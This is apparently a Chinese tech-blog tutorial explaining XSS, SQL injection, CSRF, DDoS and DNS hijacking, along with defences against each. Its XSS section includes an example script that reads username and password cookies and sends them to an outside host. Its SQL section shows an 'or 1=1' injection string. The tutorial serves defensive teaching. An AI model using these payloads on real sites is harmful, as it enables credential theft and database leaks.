当前位置:网站首页>一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持
一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持
2022-08-09 05:39:00 【极客飞兔】
XSS 攻击
- 全称跨站脚本攻击
Cross Site Scripting
- 为了与重叠样式表
CSS
进行区分,所以换了另一个缩写名称XSS
XSS
攻击者通过篡改网页,注入恶意的HTML
脚本,一般是javascript
,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式XSS
攻击经常使用在论坛,博客等应用中。攻击者可以偷取用户Cookie
、密码等重要数据,进而伪造交易、盗取用户财产、窃取情报等私密信息
- 就像上图,如果用户在评论框中输入的并不是正常的文本,而是一段
javascript
脚本,而后台又没对该用户的数据进行处理,直接存入数据库,那么当其他用户过来访问该页面,浏览器必然会执行这段脚本 - 当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些
注入脚本
,获取你的个人信息
,甚至是你的账号密码等信息
- 由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的
cookie
信息,并发送到指定的接口进行保存处理,这样你的信息就已经泄露了
// attack.js 中的逻辑
var uname = $.cookie('username'); // 获取账号
var pwd = $.cookie('password'); // 获取密码
// 发送请求
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');
- 在上面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端
php
文件中进行处理保存,这样你的个人信息就已经泄露了,所以杜绝xss攻击
在网络安全中非常的重要 - 所以后端永远不要相信用户提交的数据,在接收用户提交的信息时候,要进行
消毒处理
- 也就是过滤一些特殊的字符,比如
javascript
脚本中的<>
进行转移<>
再进行存储,这样就能有效的进行xss
攻击的预防 - 另外如果
cookie
中设置了HttpOnly
属性,那么通过js
脚本将无法读取到cookie
信息,这样也能有效的防止XSS
攻击窃取cookie
内容
SQL 注入
SQL注入
攻击指的是攻击者在HTTP
请求中注入恶意SQL
命令,服务器用请求参数构造数据库SQL
命令时,恶意SQL
被一起构造,并在数据库中执行,以便得到数据库中的感兴趣的数据或对数据库进行读取、修改、删除、插入等敏感的操作,从而导致数据被随意篡改- 但是
SQL注入
攻击,需要攻击者对数据库表有所了解才行,比如你的项目开源
了,不小心公开了数据库的账号和密码;另外你的网站上线没有关闭调试模式
,有心者可以网站的根据错误回显可以猜测表结构;另外还有就是盲注
,也即是很多有心者会盲猜数据表结构,但是这种难度最大 SQL注入
可以通过预编译手段进行预防,绑定参数是最好的防SQL
注入方法。现在流行的框架基本都实现了SQL预编译
和参数绑定
,恶意攻击的SQL
会被当做SQL
的参数,而不是SQL
命令被执行
# 正常获取用户信息的sql
select * from users where id=1
# sql注入了 1 or 1=1,就可以把用户表中的所有数据全部查出,导致数据泄露
select * from users where id=1 or 1=1
CSRF 攻击
CSRF
全称Cross Site Request Forgery,跨站点请求伪造
,攻击者通过跨站请求,以合法的用户身份进行非法操作,如转账交易、发表评论等。其核心是利用了浏览器Cookie
或服务器的Session
策略,盗取用户的身份信息- 在打开
A网站
的情况下,另开Tab页面
打开恶意网站B
,此时在B页面
的恶意意图
下,浏览器发起一个对网站A
的HTTP
请求 - 因为之前
A网站
已经打开了,浏览器存有A网站
中的Cookie
或其他用于身份认证的信息,这一次被恶意意图
的请求,将会自动带上这些信息,这将会导致身份劫持,造成并非本人意愿的操作结果 - 而对应
CSRF攻击
的防御策略有:表单token
、验证码
、Referer 检测
等
DDOS 攻击
DDOS
全称Distributed Denial of Service,分布式拒绝服务攻击
。是拒绝服务攻击的升级版。拒绝攻击服务其实就是让你的服务不能正常给用户提供服务,也就是俗话说的服务宕机。常用于攻击对外提供服务的服务器,像常见的:Web服务
、邮件服务
、DNS服务
、即时通讯服务
这些等- 在早期发起
DoS攻击
是一件很容易的事情,只需要写个程序让服务过载,无暇提供正常服务即可,也就是一秒中请求服务多次,将目标服务器的内存跑崩 - 后来随着技术对发展,现在的服务器都是分布式,并不是单一服务器提供服务,一个服务背后拥有着是数不清的
CDN节点
,也是就拥有着数不清的Web服务器
。想靠单台服务器去攻击这种分布式网络,无异于对方以卵击石
,而且现在很多DDOS 攻击
都不是免费的,所以很容易造成偷鸡不成蚀把米 - 防御手段:随着技术发展到今天也并不能完全杜绝这种攻击的出现,只能通过技术去缓解。其中包括:
流量清洗
、SYN Cookie
等等
DNS 劫持
- 当今互联网流量中,以
HTTP/HTTPS
为主的Web服务
产生的流量占据了绝大部分 Web服务
发展的如火如荼,这背后离不开一个默默无闻的大功臣就是域名解析系统,DNS
提供将域名转换成ip地址
的服务,每一个域名的解析都要经过DNS
,所以可以看出它的重要性- 正是因为它的重要性,所以
DNS劫持
很容易被别有用心的人利用 - 早期并没有考虑太多的安全性,所以导致
DNS
很容易被劫持 - 如果攻击者篡改
DNS解析
设置,将域名由正常IP
指向由攻击者控制的非法IP
,就会导致我们访问域名打开的却不是对应的网站,而是一个假冒或者别有用心的网站。这种攻击手段就是DNS劫持
- 通过
DNS劫持
简单点可以导致用户流失,严重的后果甚至惠将用户诱导至攻击者控制额非法网站,可能会造成银行卡号、手机号码、账号密码等重要信息的泄露 - 后来出现了
DNSSEC
技术,虽然在一定程度上解决了劫持问题,但是国内并没有太多应用的案例,因此后来阿里、腾讯推出了httpDNS
服务也一定程度上可以抑制这种攻击手段 - 另外可以
安装SSL证书
。SSL证书具备服务器身份认证功能,可以使DNS 劫持导致的连接错误情况及时被发现和终止
边栏推荐
- 滑动窗口篇
- 盒子模型中垂直分布的基本内容
- The request was rejected because the URL contained a potentially malicious String “//“
- mysql查看表的创建时间
- 【计算机网络-哈工大】---学习笔记(下)---(一)网络安全、密码学基础、对称、公钥、身份认证、数字签名、KDC\CA
- 22-08-08 西安 尚医通(04)MongoDB命令、MongoTemplate、MongoRepository
- 数据库事务&锁机制
- p67 mixin 混入/混合:两个组件共享一个配置
- Selection of MOS tube
- Xray-强大的漏洞扫描工具
猜你喜欢
随机推荐
剑指Offer - 链表翻转及其变体题目总结
shell function
Chapter7、基于图像的光照
2022/08/08 学习笔记 (day25)File类
Webgis地图框架的对比
51串口通信(上)
MOS管的选型
初识二叉树
The development trend of software testing
unity urp 实现遮挡显示角色轮廓
王爽 汇编语言个人疑问汇总第九篇
STM32定时器输入捕获频率(cube)
Functions and differences of command, shell, raw, script modules, application of file, copy, fetch, synchronize
Shell:数组和函数用法
屏:全贴合工艺之GF、GF2、G1F1、GG、TOL
mysql查看表的创建时间
想要精准营销,从学习搭建一套对的标签体系开始丨DTVision分析洞察篇
How to pass a two-dimensional array to a function in C language?
dsafasfdasfasf
JVM:(六)运行时数据区之本地方法栈